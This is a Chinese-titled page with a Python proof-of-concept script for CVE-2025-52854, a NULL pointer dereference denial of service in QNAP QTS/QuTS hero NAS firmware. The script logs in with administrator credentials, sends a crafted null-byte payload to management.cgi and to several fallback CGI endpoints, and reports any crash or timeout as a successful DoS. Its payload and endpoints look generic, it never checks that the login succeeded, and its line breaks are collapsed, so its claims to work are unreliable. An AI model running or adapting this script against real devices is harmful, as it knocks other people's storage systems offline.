CVE-2025-52854 QNAP QTS/QuTS hero空指针解引用拒绝服务漏洞

# CVE-2025-52854 PoC - QNAP QTS/QuTS hero NULL Pointer Dereference DoS # Vulnerability: NULL Pointer Dereference leading to Denial of Service # Affected: QTS < 5.2.6.3195 build 20250715, QuTS hero < h5.2.6.3195 build 20250715 # Requirement: Valid administrator credentials (PR:H) # Impact: Remote Denial of Service via crafted request triggering NULL pointer dereference import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://192.168.1.1" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() session.verify = False def exploit(): # Step 1: Authenticate with administrator credentials login_url = f"{TARGET}/cgi-bin/authLogin.cgi" login_data = { "user": USERNAME, "pwd": PASSWORD } print(f"[*] Authenticating as '{USERNAME}' on {TARGET}...") resp = session.post(login_url, data=login_data) if resp.status_code != 200: print("[-] Authentication request failed") return False print("[+] Authentication request sent") # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint processes a parameter that is not properly # validated, causing a NULL pointer to be dereferenced vuln_url = f"{TARGET}/cgi-bin/management.cgi" # Crafted payload designed to trigger NULL pointer dereference # by sending unexpected/empty values to a function that does not # perform NULL checks before dereferencing crafted_params = { "func": "system_info", # Trigger NULL pointer dereference via malformed input "param": "\x00", "action": "query" } print("[*] Sending crafted request to trigger NULL pointer dereference...") try: resp = session.post(vuln_url, data=crafted_params, timeout=10) print(f"[*] Response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target appears to have crashed (connection refused) - DoS successful!") return True except requests.exceptions.Timeout: print("[+] Target timed out - possible DoS condition") return True except Exception as e: print(f"[*] Exception: {e}") # Alternative: trigger via various endpoints that handle NULL pointer paths alt_endpoints = [ f"{TARGET}/cgi-bin/filemanager/share.cgi", f"{TARGET}/cgi-bin/qpkg/qpkg.cgi", f"{TARGET}/cgi-bin/network/vlan.cgi", ] for endpoint in alt_endpoints: try: # Send request with parameters that trigger NULL dereference resp = session.post(endpoint, data=crafted_params, timeout=5) except (requests.exceptions.ConnectionError, requests.exceptions.Timeout): print(f"[+] DoS triggered via {endpoint}") return True return False if __name__ == "__main__": if exploit(): print("[+] CVE-2025-52854 exploitation completed - DoS achieved") else: print("[-] Exploitation may have failed or target is patched")